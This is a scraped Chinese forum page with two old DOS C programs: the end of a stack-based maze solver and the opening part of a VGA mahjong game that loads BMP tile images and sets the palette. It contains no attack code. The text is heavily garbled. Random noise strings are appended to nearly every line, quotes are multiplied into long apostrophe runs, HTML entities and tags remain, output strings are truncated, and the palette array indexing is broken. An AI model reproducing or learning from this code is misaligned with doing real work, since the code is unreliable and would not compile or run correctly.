$ p$ F8 v; Z+ J! e: m, J; }/ a{
- L; H4 Q$ D0 r! I% i" H" U. Kmaze[seat.x][seat.y].mark=-1;1 O8 _) r; z: X6 @) K
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */+ R, p+ c- d3 {0 @( c0 E4 Z2 U" z1 ^
} /* MarkPrint */( V/ k% j5 ~- p  Y5 D3 d0 B
void FootPrint(PosType curpos)
5 U+ _% {$ P/ E* j, v. D; v" K/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
$ F4 {4 F$ c9 n& T+ y9 i3 G{& l# o% P& U) S. h. _1 k5 b3 b
maze[curpos.x][curpos.y].foot=1;
5 T  F  R: ]1 ]} /* FootPrint */
5 q* R2 e% {4 ?PosType NextPos(PosType seat,int di). i8 m+ ^+ A5 b7 O9 Y* O
{
, ]' \5 L, ]- F# O6 E) |switch(di)7 S5 [3 B! V* N( p: H
{; Q- Q" L/ L7 o; A
case 1: seat.y++; return seat; /* Eastward */
& o$ c6 b2 B* s" I/ k) E3 |8 J- J* ^: icase 2: seat.x++; return seat; /* Southward */
6 r, k; y: F5 H; ?# Y. acase 3: seat.y--; return seat; /* Westward */
9 E8 b5 ?8 A) G! @3 D% K* Hcase 4: seat.x--; return seat; /* Northward */" ?1 Z" Z, T" ~  [* _
default: seat.x=0; seat.y=0; return seat;
4 ^  t' Q! }5 I, ?. P1 F6 Z1 q$ H0 c}
5 B; A1 F% w9 E$ U- D} /* NextPos */
. v" \8 x; I; T
. B7 |7 V! W2 L% x. \8 k/* The key to the program. */* F: o9 d% w7 {/ b
/* Pre: The maze array &amp; the startplace &amp; the endplace./ v7 p$ B$ c/ [5 c% Y3 Q
Post: Find the one traverse of the maze and perform the mazepath.- [& b* K6 ~* l2 B5 T1 v8 C
Uses: The ADT stack class.
' a, L/ k0 W; x+ k7 e8 ^! j  K3 Z) C*/
/ _: v3 C' R" @Status MazePath(PosType start,PosType end)
6 j/ [( o; j3 h  u. Q{
9 L" W& Q: a0 W1 ]. |+ S# ~PosType curpos;
/ d! h4 N2 r# d0 g; Wint curstep;
+ E! p* ]' @1 H1 o: n6 P6 z7 k1 ]SElemType e;
# C3 E5 ]7 ?) ^$ z" ^, @, KStack *s,stack;# `! a. Q' i% b6 R
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
" b* Q. U% `4 K$ i8 }1 f$ Nif(!stack.base) Error("Overflow");
& V5 G( G( F7 t1 T1 g8 T6 W1 K1 Pstack.top=stack.base;
. j* \& W; v1 k8 }2 _: Gstack.stacksize=STACK_INIT_SIZE;4 j. z# l8 _6 L; P9 O5 @
s=&amp;stack;
' H# g! h: K3 |curpos=start;, ]  L$ K) G+ \2 y
curstep=1;
, Y/ O1 S; a0 [6 Y8 I* P; w& D$ edo
* x* d" I$ b3 h6 Z- X{
9 M  |$ k4 h# d* R) h/ Y4 {' Yif(Pass(curpos))
, F: I3 E, V; f' t1 [{
: _$ w! X" z7 U, W( FFootPrint(curpos);
$ b& \4 M$ \# \5 X+ Q2 se.ord=curstep; e.seat=curpos; e.di=1;
% ^7 W7 M, I+ ?6 D. c* c+ ^gotoxy((curpos.y+1)*2,curpos.x+2);
& G2 X- _+ Z3 M1 xputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
3 a# {5 Z5 y& {: Y+ `" s1 pdelay(8000); /* pospone time. */' G+ t. G) i$ L- e
Push(s,e);
( F4 n( v! y6 jif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */$ D  k  e6 Y$ K8 `. k7 }
{" n# C* W+ j9 i  O7 g/ L6 j
DestroyStack(s);6 `9 U3 p8 i, J/ D: `& L9 Y+ z
return TRUE;
" ~9 U/ n$ y2 m4 h1 H- W}  v8 t( A6 z( g. S+ y, T- {2 ]
curpos=NextPos(curpos,1); /* Try next position. */# u% I& V$ M9 r  f. _7 a, |
curstep++;1 C/ U( e% D; {$ N
}! a" f3 M! K* v& m
else
' h6 w1 }0 j5 v9 f2 @$ }{
, `8 E1 u/ D' C% G+ `  V0 jif(!StackEmpty(s))1 b) J: z' f% g5 i" T
{" _5 h4 f' ?, a$ ~9 C+ a" C/ H: c
e=Pop(s,e); /* Removed e from s. */
3 d% |! c: p' |4 z* i# h) {while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
: g* u2 f1 R& Y8 Gand s is not empty. */
3 H! J4 A* \$ p9 ^{
, A- _$ }$ X3 L0 }MarkPrint(e.seat);! |7 Z, z, [3 a% X6 K0 {
gotoxy((e.seat.y+1)*2,e.seat.x+2);" i  q" c2 W. z$ @# g" c+ x
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
, ?& a7 v1 o- k) C% k# }3 ?9 Bdelay(8000); /* Pospone time. */6 L: q% {' g- M; \5 n) A
gotoxy((e.seat.y+1)*2,e.seat.x+2);
3 u2 l2 t+ t  B1 r1 c  s, nputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
( @; Y! I; [/ s" U- u5 [% V, J5 ke=Pop(s,e); /* Remove e from s. */
% a% t+ E2 T5 \7 [8 D7 vcurstep--;# q. ~& d9 X! \7 x/ N) H4 j
}3 [) @4 D; [# k7 y# ?
if(e.di&lt;4) /* The current position hasnot been checked. */, o7 a' a2 h/ J% M; m
{$ {# {! P" E- m& [/ }
e.di++;
; v# I' _. P0 ^, e! rPush(s,e); /* Insert e into s. */
/ \# {2 c4 y) F. @% W4 {curpos=NextPos(e.seat,e.di); /* Try next position. */
8 M8 h! x+ T% ~  r% F}
+ a* [0 t1 M. v: y}
; ?2 B* i" V9 p+ Q% O8 R}! {+ V+ c. m  P/ G4 e
}
, X( U1 g) Y$ b3 Y8 Xwhile(!StackEmpty(s));
8 R' K- e2 x, ?7 o+ ]DestroyStack(s);: O- U" f- ?7 S
return FALSE;
8 g. H" T. }7 P  f6 ^} /* MazePath */% R5 d3 h7 }, L  f2 L
void main()- l* s( F# W2 P. T
{0 J$ N2 R# n) ^2 i
PosType start,end;8 v* E8 B4 g/ J
CreatMaze();6 V% a2 ?" Z' \/ K8 q6 }
start.x=StartPlace.y;
4 y6 K% G6 W( D2 Mstart.y=StartPlace.x;% r+ _# ?7 \' q; ^' F3 s
end.x=EndPlace.y;1 S$ K% v+ c( l9 b
end.y=EndPlace.x;$ ?* F0 n$ D: c3 ]
if(MazePath(start,end))* t4 _' |" r3 I( ]; k4 R. @# A" \
{
8 e! u6 C, \  U8 Jgotoxy(2,22);8 P8 c0 d0 {& J9 O6 Q, N
printf("ath found\n");
$ |4 _3 o6 C8 J$ ~, f}2 z$ X1 z) g5 o4 n1 S8 g1 `2 F
else5 _# w+ h, n  t. ~/ b6 W
{
% _& U+ |) }. L* r6 vgotoxy(2,22);
7 c+ e& L. h* D  iprintf("ath not found\n");, t  N; p3 `1 m# x$ m3 P+ [
}
# V' P  l# j1 m$ pgetch();
/ i3 h. p+ e5 T* K1 q3 A7 ~5 ]clrscr();
: I# V  N4 m/ n) W} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
% M9 U4 q. r8 M- c3 ^/*天宇软件4 Q0 a( a# h3 y: u+ d5 c4 k3 O) O2 ?
作者:上海黑暗之龙
. h1 J- g! l+ {! ?- z) ^2002/10/306 R; K, \4 C' B- ^$ m
麻将原代码*/
; D% E1 M4 a8 Q" k, E  p/ f#include "dos.h"/ Y+ o" N# n& i/ ?2 m; i
#include "stdio.h") b) L, E" f2 S6 y, y1 A3 J1 u
#include "graphics.h"
6 F# h; Q4 w2 K) t* Y8 h9 M#include "bios.h"2 @1 z) a5 ?0 l/ D+ s
#include "conio.h") C7 }# A# }3 D2 U( R. P- f
#include "stdlib.h"9 l2 A, J2 D& l" y" |
unsigned char far *video_buffer=(char far *)0xA0000000L;/ U0 g& f9 r* L# \7 U* y8 K% H% T8 \; |
#define VGA256 0x13 /*图形模式13h*/& s5 A6 r$ W1 k+ U, w4 _8 x$ d
#define TEXT_MODE 0x03 /*普通文本模式*/
( g+ I' \$ `" _3 R#define SETVGA Set_Video_Mode(VGA256)
; }1 `+ _1 E5 N, T/ V#define OUTVGA Set_Video_Mode(TEXT_MODE)
) u: S' T4 J; m. ?+ L: X- O. s#define BYTE unsigned char
4 k& b& J7 O  l; k6 g9 _- V2 B! U2 s#define WORD unsigned int0 B0 E9 Q2 ]2 {, M3 _2 A, ?/ V9 q0 D
#define DWORD unsigned int, R% q. e* v1 _7 J. J- R
#define ESC 283
  T& ?7 u8 I' R. J* }5 v) W$ F, i0 ^#define LEFT 19200
) X% b, c4 \/ Y#define RIGHT 197125 g# `* n- n$ o
#define H 90648 o  Q; u; ^0 r5 J
#define ENTER 7181
* T1 l' K% m$ p2 o/ v% d9 punsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;0 F8 Y5 n4 Q% q! R3 |1 |' S
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
6 B6 d; k8 D- L: c; Gstruct chi
8 Z5 l# B# }5 I2 ~{
- `. D; x3 [+ C) X' N! Kint lg;" N3 W4 S: k/ v& t
int lgg;% |+ E- e& Q* \. F: f3 x2 N" C& l
}ch[13];' D2 A. h7 t* B/ F, [8 R6 ^
struct mj7 R0 z! G2 ]5 y) o4 Q
{ char *name; /*名字*/
/ K. J4 K* B" [5 O1 }- `int data1; /*是否已出,无用了*/: Z5 S+ [' Y3 @. m2 z- ~4 t4 L* I
int data2; /*是否在手中,1为自己,2为对方*/4 ~" n. x7 D: ]8 v( N, G8 D3 O2 c
int number; /*同一个花色的第几张,共4张*/
8 @6 A  R. K- R. q0 R- `}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,4 e- V% ?( G) r9 e; u- x0 K
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,% G# b; m1 N" {: N  ~
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
9 P  J, a0 C$ l6 z" e' s% B"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,; r7 J- M% C: h6 }5 n$ E
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
+ U, Y( x* N  a7 k"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,  ]# `2 Y$ h$ v1 o
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,- Q+ n- u% j5 u$ j& F% E- k) X
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,6 t6 p& X  m5 N4 G( l. V
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,, a! N! ~" [, Q6 A
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2," q8 e( \5 z6 u
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,! c1 N$ D$ E+ z) p6 D" V
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
. ~! j+ [/ k2 W* T"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
6 b3 y$ o# M7 _8 E' N- K8 {8 w"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,4 l) R6 R5 r9 p$ a8 Z
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,& X$ Z8 X- J8 Z1 z
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
, x# ~7 Q6 ^, o. P" y, E. p) }% m"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,4 y) O5 T1 R8 V( N) n# D
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,+ X+ E2 B5 V- \+ r1 W
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
; Q1 @4 N/ t/ x1 Z4 V+ y' X: v- z"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,1 r, u) v  \3 I) W1 ~: m, c
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
# H3 \2 u! P8 h8 V6 j  I8 j"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
3 `8 I% b( Y* o/ N"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,8 k. k+ O4 j$ f& L
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,6 P5 s, I: t$ S% e' m+ A- I( ^  C
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,& |, m: ]& y5 P- l) \
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
/ Q% k# I6 o* M"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
3 e1 U6 j2 ]4 I# t7 J% A; Q- }"34.bmp"};; b  K% _- }, h! i  X
struct every. q. F/ W7 _( N5 c9 S# z' r8 I
{ int *k; /*名字*/! h4 w( k( L, h
int oneorfour; /*同一张牌的第几张*/
9 @3 z' _; J* x4 H) ~- Nint number; /*第几张牌136*/0 u2 O6 D( Q- ^
int p;
& S8 n. S; s+ u+ x3 P4 W4 Nint g;
3 d' ^" ~+ p% Hint c;! e4 j% P  X4 g$ X
int d[2];9 w  w" |* ?+ w$ X7 A0 ?
};4 n6 V3 U8 \/ x' q
struct me$ E6 c6 U3 Q" [/ y
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/7 r9 e4 G  q6 {/ u9 L5 _# F- O. V
int p; /*乓对方*/$ u1 W% J( m" |
int c; /*吃对方*/  y( J6 {" m0 {( v; S* P
int g; /*杠*/5 R0 S' W  Q. e' j* X& r

% K1 }2 m  _: K8 u% d& N! nstruct every pp[14]; /*存放手上的牌*/
4 ~: X% L  _! A}me;
: ~: E. i5 `) J! u. Jstruct computer
, g% |% \5 P) V{ int m;
% o6 \, a' i& S! Y* q3 K$ y( mint p;
0 N1 a( ?" W) F/ p: Q& Z8 m5 _int c;
7 @; a- p9 S/ A9 f. Uint g;
. {3 e; f! b" ~+ h# {struct every pp[14];' H3 b& U  B: F$ Y8 j4 \
}computer,comp;) b3 u( s  B1 m

! x4 M8 w2 Y( e0 G; U/* 设置调色板 */
  B) H" Y+ k8 i* cvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
( w6 v! [; Y/ k8 Q9 E{$ M) y9 r5 r6 v2 @* E+ f
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
2 r% ?* ]* c- p$ F3 p2 o/ Voutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
3 r5 T3 V% D* D: U* t8 |7 M  n8 E1 |6 b* Youtportb(0x3c9,g);
3 p% n- Z: O! d. ~outportb(0x3c9,b);! [$ N7 c) c; z' s' p4 a+ y% E
}
# v  c# Q( j# G% r* _8 @/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
, P0 s4 D3 O9 Y' \/* 设置显示模式的函数 */' a, v. D* ^* P
void Set_Video_Mode(int mode)
# T5 d4 y3 }# ?- r6 T9 r{
5 f' O1 I3 o- V! o; p3 o- M# wunion REGS inregs,outregs; /*定义输入和返回寄存器*/# `+ D4 Y# b! u5 e4 r
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
) O# |" X8 I( Z' W2 Linregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
% W: X+ o+ h( P7 l5 ~7 [int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/' w2 J1 h# c( \2 ?2 r1 N$ o2 R
}
" j; I* u, E6 O: _3 Ivoid v_line(int y0,int y1,int x,unsigned int color)
& a( c1 `4 {# z{ unsigned int address,n,temp;. L. W1 K" s' u  @9 G
if(y0&gt;y1)
- H% w) G* e/ [! [{3 v% K  Z, t" R; j& z0 ]
temp=y1;
7 H! r  d" f' F, F( ^4 }* [/ Dy1=y0;. k' Z5 \! A- N5 d8 G6 r8 l
y0=temp;" C2 o1 J" N2 @  I" E3 c3 G
}
  G  u3 ?' H8 taddress=320*y0+x;2 \. E9 P2 L+ K5 r, r
for(n=0;n&lt;=y1-y0;n++)+ V; p- C5 g- W3 M2 M+ H& z# w
{
$ K, r5 t' [/ J) H6 C7 `) ^4 svideo_buffer[address]=color;
, o1 p, n8 Y/ ?0 y& G9 z8 yaddress+=320;$ C( p. J5 `% g( _1 u
}
- b4 I5 }/ p0 g5 r5 ?}: q5 `( `# @& r4 D
void h_line(int x0,int x1,int y,unsigned int color)) z9 y% E/ N( S2 Y" P. m" Z% Z
{ unsigned int address,n,temp;4 V2 z! M, Y: N- T' U
if(x0&gt;x1)
6 V4 H# A* d0 ?# ^. y{
, y8 L& _9 {# Ttemp=x1;/ l1 a; d/ V' Y% f! w9 R* w
x1=x0;& Q0 f( q0 j+ H! Q5 T& V# U
x0=temp;1 e% J5 N% M( v
}- D2 ?% m% K1 [' u, D9 |
address=320*y+x0;, F0 g5 x5 M! O& n" b8 D3 b5 z
for(n=0;n&lt;=x1-x0;n++)
/ y. [' L( ]' ~) i{
  e& a6 }3 ~; w9 Wvideo_buffer[address]=color;
; q. F- l! h/ j" ]address+=1;
" Z: s( I, n0 E+ N; ~6 H}6 f; L/ ]/ |/ f0 Q! Q
}; w  z) Q9 v. H: T5 |. d
void p_pixel(int x,int y,unsigned int color)3 C, x1 v4 ~9 m( R5 u! s3 S
{ video_buffer[y*320+x]=color;
) k" F" }: b  l0 y1 |2 r}
7 l5 Z0 Q2 r& o* T; p8 @void s_square(int x,int y,int side,int color)- E0 S( ~8 a3 g: d5 E8 ?
{, w1 |9 G0 F# C9 l" y4 T
h_line(x,x+side,y,color);9 r7 K5 A' o) i+ Z
h_line(x,x+side,y+side,color);& X" P/ C" D. ]: ?0 E* E
v_line(y,y+side,x,color);
5 ?5 d5 R2 X3 s0 j5 L% ^: y, Nv_line(y,y+side,x+side,color);3 w* N! S1 d, {& m9 z8 k9 H
}3 m5 V0 c' v3 P7 V
void r_rectangle(int x1,int y1,int x2,int y2,int color)
; }" s4 w* C# A6 o/ b- U{
% g1 o# b  n* t- nh_line(x1,x2,y1,color);
9 z0 K7 T3 z! e# ]$ mh_line(x1,x2,y2,color);. U% J6 I& I1 w, S
v_line(y1,y2,x1,color);. A* w- ]% X; T  c
v_line(y1,y2,x2,color);; [! |% _3 w$ j( p, B0 q
}
/ A2 ~1 [. A7 ?8 T% h) ivoid fillRectangle(int x1,int y1,int x2,int y2,int color)
$ s4 Q9 y0 D- K0 @$ S% B% R{* k) M3 a; F7 i- x' Y3 ?5 D
int i;6 q! p  ?+ l, f% V
for(i=y1;i&lt;=y2;i++)! z  E/ x  t0 x# g3 V
{
) N% A8 e, y# L8 [* r  T; }, hh_line(x1,x2,i,color);
3 t' D& _4 \$ m  b, A}
% J3 F, b3 M5 i$ r}
/ S6 z" e  n! G* o& p, L4 Ovoid showbmp(int l)
0 @, p- V2 |5 V7 F) Y$ n7 k3 e{ FILE *bmp;8 [% R& b7 o9 g& m+ I! @
int i,x,y;
7 ]0 G1 [0 a+ `+ `( ?; yBYTE palette[256][3];; F* u3 G' j, q  B  O' f# h3 M
bmp=fopen(me.pp[l].k,"rb");
, w1 H2 q" L3 U# }- r  s' bfseek(bmp,54,SEEK_SET);
7 a' r$ l& N( B9 t, hfor(i=0;i&lt;256;i++), A' a0 _5 C3 ?0 y
{0 T6 V4 M7 G! F4 h
palette[2]=fgetc(bmp)&gt;&gt;2;/ f! W" A. o9 S8 a
palette[1]=fgetc(bmp)&gt;&gt;2;$ U- O/ X- m3 J& x2 d- @
palette[0]=fgetc(bmp)&gt;&gt;2;4 \. q+ f6 V- l2 |+ s% V' ^4 D
fgetc(bmp);* g( Y& W; r! U$ L* M+ C& \3 V8 P' l
Set_Palette(i,palette[0],palette[1],palette[2]);
1 F' J( Z  \5 S) `+ I}
# {+ L" t5 g0 D2 o0 Z/ N/ A. rfor (y=0;y&lt;30;y++)4 v6 q6 A; C: A% X
for(x=0;x&lt;20;x++)
  _9 |$ s; @  J2 j7 gpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));9 r$ y# m  D$ ]+ ^7 \9 H/ T' A
fclose(bmp);
1 u+ W8 G2 a0 U% j7 C( s}, c. f! v( g9 M
void showbmpd(int l)
8 f- y$ p3 o$ Y{ FILE *bmp;9 o6 Q. \' Z- Y( a
int i,x,y;
2 e2 |0 @9 e: J8 yBYTE palette[256][3];
- `9 t$ D, K& O2 cbmp=fopen(me.pp[l].k,"rb");
6 M0 }% L8 z" A8 A4 x4 Afseek(bmp,54,SEEK_SET);
) v8 I4 z$ {) M6 l3 @, ~for(i=0;i&lt;256;i++)8 ~( m9 _2 F9 H' a* F) F  d
{$ b- n3 W! K" f& u0 F, ?
palette[2]=fgetc(bmp)&gt;&gt;2;, d$ |7 N5 V. M! i
palette[1]=fgetc(bmp)&gt;&gt;2;$ {# W) m7 c) P1 c6 m9 V
palette[0]=fgetc(bmp)&gt;&gt;2;$ J* b. |, e3 o* O6 N' q* q6 q' I0 j
fgetc(bmp);7 X- Y9 Z$ _* e7 A0 d
Set_Palette(i,palette[0],palette[1],palette[2]);* m; Z6 ^! p& T1 |- W  B+ D& u( F* N% Q
}- f/ }5 \* G' m9 a( Y1 c
for (y=0;y&lt;30;y++)& `- `! m+ M5 L% Z3 s& H2 n6 T& z
for(x=0;x&lt;20;x++)3 N* E5 b) Q9 k0 `$ v9 [: {  e4 Q
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));% h5 D# X% u* @/ r% ~. M
fclose(bmp);
8 X0 \# V+ L1 b& n& x" j' W1 F}- F. {; U4 }9 ~6 O! A% E- T: A' T) E
void showybmp(int ll). a* W1 \9 B+ B4 L
{ FILE *bmp;
9 z( h+ H5 b: z9 m7 N. T+ pint i,x,y;- a7 p" ?" U. }0 J+ M# K4 U( u
BYTE palette[256][3];4 g" H# M4 p5 Y9 j+ Y* M
bmp=fopen(computer.pp[ll].k,"rb");/ g: u1 g% i9 P+ n
fseek(bmp,54,SEEK_SET);1 o7 x2 c, t' e- g" u
for(i=0;i&lt;256;i++)5 Y. A- l. N4 m" K- ?5 b( l
{
( e2 \4 m3 B5 A5 Qpalette[2]=fgetc(bmp)&gt;&gt;2;3 }! I. L" @# J3 ?' G
palette[1]=fgetc(bmp)&gt;&gt;2;7 _0 a, H# K9 \6 h6 h$ Y
palette[0]=fgetc(bmp)&gt;&gt;2;
& o9 T9 P! L$ Z6 mfgetc(bmp);
" {: @, j+ Y. ?1 W, YSet_Palette(i,palette[0],palette[1],palette[2]);
$ w! L7 z* @" v( J: h$ v}
2 ^( f" r' K7 n+ g4 a! xfor (y=0;y&lt;30;y++)
; K) E2 H2 L0 \3 ?for(x=0;x&lt;20;x++)1 r  ^  D& J8 E4 k/ w/ n
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
2 d( p( N/ {7 u7 X' n( cfclose(bmp);7 P" k# y# s' \1 x
}
  q! n8 s7 @+ v8 N6 fvoid showcbmp(int ll)$ s  m8 O5 g9 l5 R# D2 O
{ FILE *bmp;
. ]  U5 M0 w4 R$ O$ mint i,x,y;
% }4 K; m" k' DBYTE palette[256][3];5 v; w/ g/ o0 }& k5 T
bmp=fopen(computer.pp[ll].k,"rb");
1 i+ Q# R* w% F3 R& \fseek(bmp,54,SEEK_SET);
) N, h7 K# V: v0 p% i$ z6 Z& lfor(i=0;i&lt;256;i++)
1 q) f. K7 B3 S! w{8 |; W6 h& W7 x9 d: ]0 B4 t1 [
palette[2]=fgetc(bmp)&gt;&gt;2;
7 K) r" f6 J, V+ D; Lpalette[1]=fgetc(bmp)&gt;&gt;2;
$ I/ [- g: B7 v1 ]palette[0]=fgetc(bmp)&gt;&gt;2;
4 n: ?, ?( r0 O- n) R: x& \fgetc(bmp);
6 C+ F: l7 ?+ O4 l+ TSet_Palette(i,palette[0],palette[1],palette[2]);9 b6 x; U4 [& u$ H7 I- S
}" b: P0 n+ \# Q9 T% c& [: W
for (y=0;y&lt;30;y++)
* S! x8 v9 ~; h7 S, A7 _7 ^3 a  }: Z7 ]for(x=0;x&lt;20;x++)
! |  {( m' K' b+ Lpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
( e! L, T) N. L7 f- Sfclose(bmp);# O1 K- Q8 f9 [3 ~/ S0 m
}! c9 X; o0 _% M& }  A; R. f4 @" H& S
void bmpp(int number); _0 W* X! i0 ?
{ FILE *bmp;
# p( ~- y% P: h" ^3 l2 I4 C2 Mint i,x,y;0 ^. q$ a. _4 Y% S8 s, Z
BYTE palette[256][3];4 y+ O* k& `7 l# k" E* ^$ O
bmp=fopen(m[number].name,"rb");
: M' e. @% P: H! K& tfseek(bmp,54,SEEK_SET);/ j* T4 R' E3 P2 x
for(i=0;i&lt;256;i++): ~5 ?$ o3 k; u$ U6 T
{6 i  C( z/ I5 P; _9 n; T# ~( E0 v
palette[2]=fgetc(bmp)&gt;&gt;2;
2 X% r! P) x4 m. tpalette[1]=fgetc(bmp)&gt;&gt;2;* R' M4 ]) u, Z) E7 v
palette[0]=fgetc(bmp)&gt;&gt;2;
+ x1 {$ m) h1 G6 F% N  s. Qfgetc(bmp);# q4 ^0 l% t+ L$ P( ^
Set_Palette(i,palette[0],palette[1],palette[2]);
3 P) X* k3 G" @}
, Z- `4 q5 u, }" `" k. U/ hfor (y=0;y&lt;30;y++)
! t& B+ ]' d) w4 I* cfor(x=0;x&lt;20;x++)( C. S& h5 T5 u: r
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
% M& G3 h, y8 U) @. J9 H/ ?* Yfclose(bmp);
( m* M: N' |( C6 r% h0 l& w: A}
. k/ O( ~( B' ~6 S. Zvoid comlipai() /*整理电脑的牌*/* j6 i) Z- x0 W
{ int n,j,u;
8 _% `  z) \5 \8 V- u# ~3 Hint *lingshi;% d4 t- A/ W5 [) ^0 P8 I) Q4 ?& l
for(n=0;n&lt;computer.m;n++)9 U) M# p7 T  I: X$ K+ P! D
for(j=n;j&lt;computer.m;j++)
, h, D; u  p% p' B* F/ i4 e{
' |# m: K/ R8 A# X" c% n% dif(computer.pp[n].number&gt;computer.pp[j+1].number)" ]. K" D  {* m( ]2 |9 u& i! ~7 s
{
2 x3 N) Y5 ]9 Ilingshi=computer.pp[n].k;- [4 B) m4 Q" A  o
computer.pp[n].k=computer.pp[j+1].k;
( o! l$ _. s0 P: J7 }computer.pp[j+1].k=lingshi;. c. ^) p7 }% Y$ D( U
u=computer.pp[n].oneorfour;* w1 p( P7 [2 S! g% {; p& \
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
$ |  E+ E; V( s) Ncomputer.pp[j+1].oneorfour=u;8 l- q' c5 |" j
u=computer.pp[n].number;8 e0 I, ~/ X" C
computer.pp[n].number=computer.pp[j+1].number;- x$ y7 R: _4 ]: R; _0 u: I( D* L
computer.pp[j+1].number=u;5 M; v: O" j- G* `- r
}
1 d' H! {% ^& `3 felse
& j/ [% o( D% W, p& Vif(computer.pp[n].number==computer.pp[j+1].number)
6 o) v/ X! V5 z$ ^0 dif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
9 O+ E6 r3 E0 U+ b3 @- L, B{
  u2 g2 F4 M' g1 Q  I) rlingshi=computer.pp[n].k;
  X& Y1 G0 n8 z3 Tcomputer.pp[n].k=computer.pp[j+1].k;# w! i1 V3 j1 F2 ~$ z
computer.pp[j+1].k=lingshi;- G: {* K5 D& }8 Y- D
u=computer.pp[n].oneorfour;( E6 K/ h5 m- Z, [
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;7 D" V) g1 t" R- Q4 z2 }4 _& v
computer.pp[j+1].oneorfour=u;- j3 b  p  P# @1 [
u=computer.pp[n].number;
2 ^. V+ ~0 E5 E! ?  o  w8 Ocomputer.pp[n].number=computer.pp[j+1].number;
